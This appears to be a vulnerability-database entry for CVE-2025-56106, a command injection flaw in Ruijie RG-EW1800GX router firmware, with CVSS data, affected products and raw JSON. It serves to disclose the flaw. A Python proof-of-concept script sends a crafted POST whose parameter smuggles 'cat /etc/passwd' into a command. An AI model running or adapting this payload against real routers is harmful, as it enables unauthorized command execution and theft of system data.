Security Vulnerability Report
中文
CVE-2025-56106 CVSS 8.8 HIGH

CVE-2025-56106

Published: 2025-12-11 19:15:56
Last Modified: 2026-01-26 19:59:18

Description

OS Command Injection vulnerability in Ruijie RG-EW1800GX B11P226_EW1800GX_10223121 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_sta/nbr_cwmp.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-ew1800gx_firmware:3.0\(1\)b11p226:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew1800gx:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-est350_firmware:3.0\(1\)b11p221:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-est350:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-EW1800GX 固件版本 B11P226_EW1800GX_10223121

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-56106 PoC - Ruijie RG-EW1800GX OS Command Injection # Target: Ruijie RG-EW1800GX Router (firmware B11P226_EW1800GX_10223121) # Vulnerability: OS Command Injection in /usr/local/lua/dev_sta/nbr_cwmp.lua module_set endpoint target_ip = input("Enter target IP: ") target_url = f"http://{target_ip}/cgi-bin/luci/;stok=/module_set" # Construct malicious payload to execute arbitrary command # Using semicolon to chain commands or pipe to execute additional commands payload = { 'module': 'cwmp', 'action': 'set', 'param_name': 'test; cat /etc/passwd', # Command injection point 'param_value': 'test_value' } try: print(f"[*] Sending exploit to {target_url}") response = requests.post(target_url, data=payload, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response:\n{response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56106", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:56.207", "lastModified": "2026-01-26T19:59:18.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-EW1800GX B11P226_EW1800GX_10223121 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_sta/nbr_cwmp.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew1800gx_firmware:3.0\\(1\\)b11p226:*:*:*:*:*:*:*", "matchCriteriaId": "158332AF-B2AC-41AD-A40D-6F638C654834"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1800gx:-:*:*:*:*:*:*:*", "matchCriteriaId": "AD7BCCEA-3446-4E6C-90F2-3B8B09BCAD5D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-est350_firmware:3.0\\(1\\)b11p221:*:*:*:*:*:*:*", "matchCriteriaId": "80370342-87A6-4EB8-9D9C-A7A15EC4792E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-est350:-:*:*:*:*:*:*:*", "matchCriteriaId": "D364EC20-8293-4179-9D70-4EA51C16659B"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EgUg1zJuaItDmLxZhkCg4B8BcJTRYnXyX4ePIIjNoZrRew?e=a23cK6", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EcUP8SMciOVBgNEy31-OnnkBQRk_fUCDWUtdDX8UBfbXEA?e=FuQDPi", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56106.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}